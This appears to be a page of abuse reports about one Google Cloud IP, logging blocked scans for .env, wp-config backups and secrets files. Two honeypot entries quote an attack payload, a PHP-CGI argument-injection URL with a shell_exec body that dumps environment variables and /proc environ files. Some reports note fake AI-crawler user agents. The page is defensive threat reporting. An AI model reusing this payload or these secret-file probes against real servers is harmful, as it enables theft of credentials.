2026-11-15 21:15:47
UTC ·
(4 minutes ago)
35.205.87.110 (BE/Belgium/Brussels Capital/Brussels/110.87.205.35.bc.googleusercontent.com/[redacted]), more than 70 Apache 403 hits
Hacking
🇵🇹
check_abuse_API_verify123
2026-11-15 21:05:27
UTC ·
(14 minutes ago)
Path Traversal
Web App Attack
🇺🇸
Manna
2026-11-15 20:43:13
UTC ·
(36 minutes ago)
Autonomous security gateway block (OTX integrated). Target path: /.env.supabase
Port Scan
Web App Attack
🇵🇱
Budyn
2026-11-15 20:13:08
UTC ·
(1 hour ago)
[Budyn Honeypot Sinkhole] | Attack type: CRITICAL: ModSecurity WAF Exploit Block | Summary: Request triggered an emulated security trap. | Evidence: | Host: db.teddypot.pro | Path: /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp:// ...
show more
[Budyn Honeypot Sinkhole] | Attack type: CRITICAL: ModSecurity WAF Exploit Block | Summary: Request triggered an emulated security trap. | Evidence: | Host: db.teddypot.pro | Path: /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input | User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-AdsBot/1.0; +https://openai.com/adsbot | Request: <?php echo shell_exec('env 2>/dev/null || set 2>nul;cat /proc/self/environ 2>/dev/null;cat /proc/1/environ 2>...
show less
Hacking
Web App Attack
🇺🇸
Agaman
2026-11-15 19:24:51
UTC ·
(1 hour ago)
Exploit and secret-file scanning on HTTP(S) port 80/443. 5 requests, 2026-11-15 19:24 UTC. Samples: GET /wp-config.php.bak 444; GET /.env.supabase 444. Fake crawler: the User-Agent claims "ChatGPT-User", but this IP is not a verified ChatGPT-User add ...
show more
Exploit and secret-file scanning on HTTP(S) port 80/443. 5 requests, 2026-11-15 19:24 UTC. Samples: GET /wp-config.php.bak 444; GET /.env.supabase 444. Fake crawler: the User-Agent claims "ChatGPT-User", but this IP is not a verified ChatGPT-User address. UA: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0. Detected by fail2ban.
show less
Web App Attack
🇩🇪
Gwyneth Llewelyn
2026-11-15 19:05:17
UTC ·
(2 hours ago)
2026/11/15 19:05:14 [error] 2766422#2766422: *1628846 access forbidden by rule, client: 35.205.87.110, server: alzulej.pt, request: "GET /dev/.env HTTP/2.0", host: "alzulej.pt", referrer: "https://www.alzulej.pt/dev/.env"
2026/11/15 19:05:14 [error] ...
show more
2026/11/15 19:05:14 [error] 2766422#2766422: *1628846 access forbidden by rule, client: 35.205.87.110, server: alzulej.pt, request: "GET /dev/.env HTTP/2.0", host: "alzulej.pt", referrer: "https://www.alzulej.pt/dev/.env"
2026/11/15 19:05:14 [error] 2766422#2766422: *1628846 access forbidden by rule, client: 35.205.87.110, server: alzulej.pt, request: "GET /production/.env HTTP/2.0", host: "alzulej.pt", referrer: "https://www.alzulej.pt/production/.env"
2026/11/15 19:05:14 [error] 2766422#2766422: *1628846 access forbidden by rule, client: 35.205.87.110, server: alzulej.pt, request: "GET /apps/.env HTTP/2.0", host: "alzulej.pt", referrer: "https://www.alzulej.pt/apps/.env"
show less
Brute-Force
Web App Attack
🇵🇱
Budyn
2026-11-15 17:35:45
UTC ·
(3 hours ago)
[Budyn Honeypot Sinkhole] | Attack type: CRITICAL: ModSecurity WAF Exploit Block | Summary: Request triggered an emulated security trap. | Evidence: | Host: metrics.teddypot.pro | Path: /secrets.yml | User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Ne ...
show more
[Budyn Honeypot Sinkhole] | Attack type: CRITICAL: ModSecurity WAF Exploit Block | Summary: Request triggered an emulated security trap. | Evidence: | Host: metrics.teddypot.pro | Path: /secrets.yml | User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.go... | Request: [Empty / GET Request]
show less
Hacking
Web App Attack
🇫🇷
GabrielJST
2026-11-15 17:13:38
UTC ·
(4 hours ago)
(apache-useragents) Failed apache-useragents trigger with match [redacted] from 35.205.87.110 (BE/Belgium/110.87.205.35.bc.googleusercontent.com)
Bad Web Bot
🇳🇱
Savvii
2026-11-15 16:41:56
UTC ·
(4 hours ago)
20 attempts against mh-misbehave-ban on ozone
Brute-Force
Bad Web Bot
Web App Attack
2026-11-15 15:55:23
UTC ·
(5 hours ago)
(mod_security) mod_security triggered on hostname [redacted]): (CF_ENABLE)
SQL Injection
🇺🇸
Manna
2026-11-15 15:45:51
UTC ·
(5 hours ago)
Autonomous security gateway block (OTX integrated). Target path: /.env.example
Port Scan
Web App Attack
🇵🇱
Budyn
2026-11-15 14:56:42
UTC ·
(6 hours ago)
[Budyn Honeypot Sinkhole] | Attack type: CRITICAL: ModSecurity WAF Exploit Block | Summary: Request triggered an emulated security trap. | Evidence: | Host: admin.teddypot.pro | Path: /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp ...
show more
[Budyn Honeypot Sinkhole] | Attack type: CRITICAL: ModSecurity WAF Exploit Block | Summary: Request triggered an emulated security trap. | Evidence: | Host: admin.teddypot.pro | Path: /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input | User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user) | Request: <?php echo shell_exec('env 2>/dev/null || set 2>nul;cat /proc/self/environ 2>/dev/null;ca...
show less
Hacking
Web App Attack
2026-11-15 13:27:27
UTC ·
(7 hours ago)
IP matched detection query bad paths many.
Brute-Force
Web App Attack
2026-11-15 13:10:06
UTC ·
(8 hours ago)
| Multiple common web attacks from same source ip. (multiple servers)
Web App Attack
Hacking
SQL Injection
🇧🇪
cmbplf
2026-11-15 13:00:24
UTC ·
(8 hours ago)
22.552 requests in 1 hour (1w6d23h)
Brute-Force
Bad Web Bot
